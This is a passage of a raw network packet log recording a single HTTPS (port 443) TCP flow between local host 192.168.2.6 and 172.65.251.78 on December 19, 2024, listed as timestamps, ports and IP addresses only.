Dec 19, 2024 14:20:22.300843000 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.300857067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.300895929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.300895929 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.370845079 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.370909929 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.370949030 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.370971918 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.370989084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.371017933 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.374572039 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.374636889 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.374687910 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.374687910 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.374706030 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.374746084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.379621983 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.379640102 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.379693031 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.379705906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.379731894 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.379863024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.401547909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.401642084 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.401664019 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.401710987 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.401747942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.403378010 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.405940056 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.405994892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.406040907 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.406049967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.406095982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.406095982 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.433991909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.434011936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.434112072 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.434112072 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.434127092 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.434165955 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.437423944 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.437469959 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.437520027 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.437526941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.437566996 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.437566996 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.487217903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.487274885 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.487329960 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.487344980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.487355947 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.487392902 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.562865019 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.562932968 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.562956095 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.562968969 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.563004017 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.563041925 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.568553925 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.568600893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.568653107 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.568659067 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.568717003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.568717003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.572593927 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.572637081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.572689056 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.572698116 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.572721958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.572808981 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.596750975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.596798897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.596858025 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.596865892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.596884012 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.597007990 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.601154089 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.601212978 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.601234913 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.601243973 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.601289988 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.601335049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.625886917 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.625935078 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.626005888 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.626005888 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.626017094 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.626136065 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.630534887 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.630580902 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.630649090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.630649090 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.630656958 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.630909920 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.682071924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.682118893 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.682190895 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.682207108 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.682228088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.682363033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.756815910 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.756902933 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.756926060 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.756937027 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.756989002 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.756989002 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.760127068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.760175943 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.760211945 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.760217905 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.760267973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.760267973 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.765431881 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.765451908 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.765527010 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.765537977 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.765553951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.765628099 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.782413006 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.782428980 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.782516003 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.782527924 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.782571077 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.786736012 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.786751032 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.786838055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.786848068 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.786906958 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.818247080 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.818264008 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.818356991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.818356991 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.818370104 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.818523884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.821990967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.822006941 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.822101116 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.822113037 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.822679996 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.871812105 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.871835947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.871908903 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.871927977 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.871944904 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.872001886 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.948025942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.948057890 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.948142052 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.948142052 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.948163033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.948221922 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.953186989 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.953203917 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.953299046 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.953311920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.953376055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.957457066 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.957472086 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.957524061 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.957536936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.957592964 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.957607985 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.975660086 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.975676060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.975766897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.975766897 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.975783110 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.975887060 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.980185986 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.980204105 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.980290890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.980290890 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:22.980303049 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:22.980364084 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.010683060 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.010705948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.010812998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.010812998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.010828018 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.010895967 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.014528990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.014544010 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.014630079 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.014640093 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.014713049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.063545942 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.063579082 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.063683033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.063683033 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.063704967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.063833952 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.294972897 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.294996977 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.295064926 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.295090914 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.295109034 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.295131922 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.295213938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.295213938 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.295227051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.295341969 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.321305990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321326017 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321386099 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321429014 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.321439981 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321618080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.321618080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.321646929 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321662903 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321753979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.321762085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.321845055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.363929033 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.363946915 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364065886 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364089966 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364136934 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364155054 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364428043 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364469051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364517927 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364517927 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364531040 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364609957 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.364897013 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.364926100 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365012884 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.365020990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365075111 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.365082979 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365097046 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365150928 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.365171909 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365207911 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365240097 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.365240097 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.365263939 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.365355968 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.371064901 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.371089935 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.371205091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.371205091 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.371218920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.377307892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.377331972 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.377372026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.377382994 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.377405882 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.414376020 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.414392948 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.414468050 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.414494991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.414510965 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.440542936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.440567970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.440592051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.440609932 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.440623045 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.440910101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.465012074 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.465034962 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.465042114 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.465050936 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.466042995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.466042995 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.466082096 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.520570993 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.526340961 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526355028 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526370049 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526379108 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526396990 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526412010 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.526427984 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.526442051 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.526961088 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.533629894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.533638000 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.533662081 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.533674002 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.533715963 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.533727884 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.533742905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.533798933 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.538938999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.538948059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.538994074 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.539017916 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.539091110 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.539091110 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.539103985 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.539134026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.539290905 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.569153070 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.569174051 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.569247961 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.569257975 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.569282055 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.569441080 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.574966908 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.574981928 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.575124979 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.575133085 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.575215101 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.591131926 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.591147900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.591290951 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.591300964 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.591355085 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.596034050 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.596057892 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.596122026 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.596139908 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.596252918 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.596252918 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.642178059 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.642196894 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.642328024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.642338991 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.642508030 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.718116999 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.718143940 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.718220949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.718220949 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.718235970 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.718291998 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.724035025 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.724052906 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.724421024 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.724431992 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.724986076 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.731597900 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.731611967 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.731672049 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.731679916 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.731795073 CET	49739	443	192.168.2.6	172.65.251.78
Dec 19, 2024 14:20:23.907208920 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.907228947 CET	443	49739	172.65.251.78	192.168.2.6
Dec 19, 2024 14:20:23.907356977 CET	49739	443	192.168.2.6	172.65.251.78
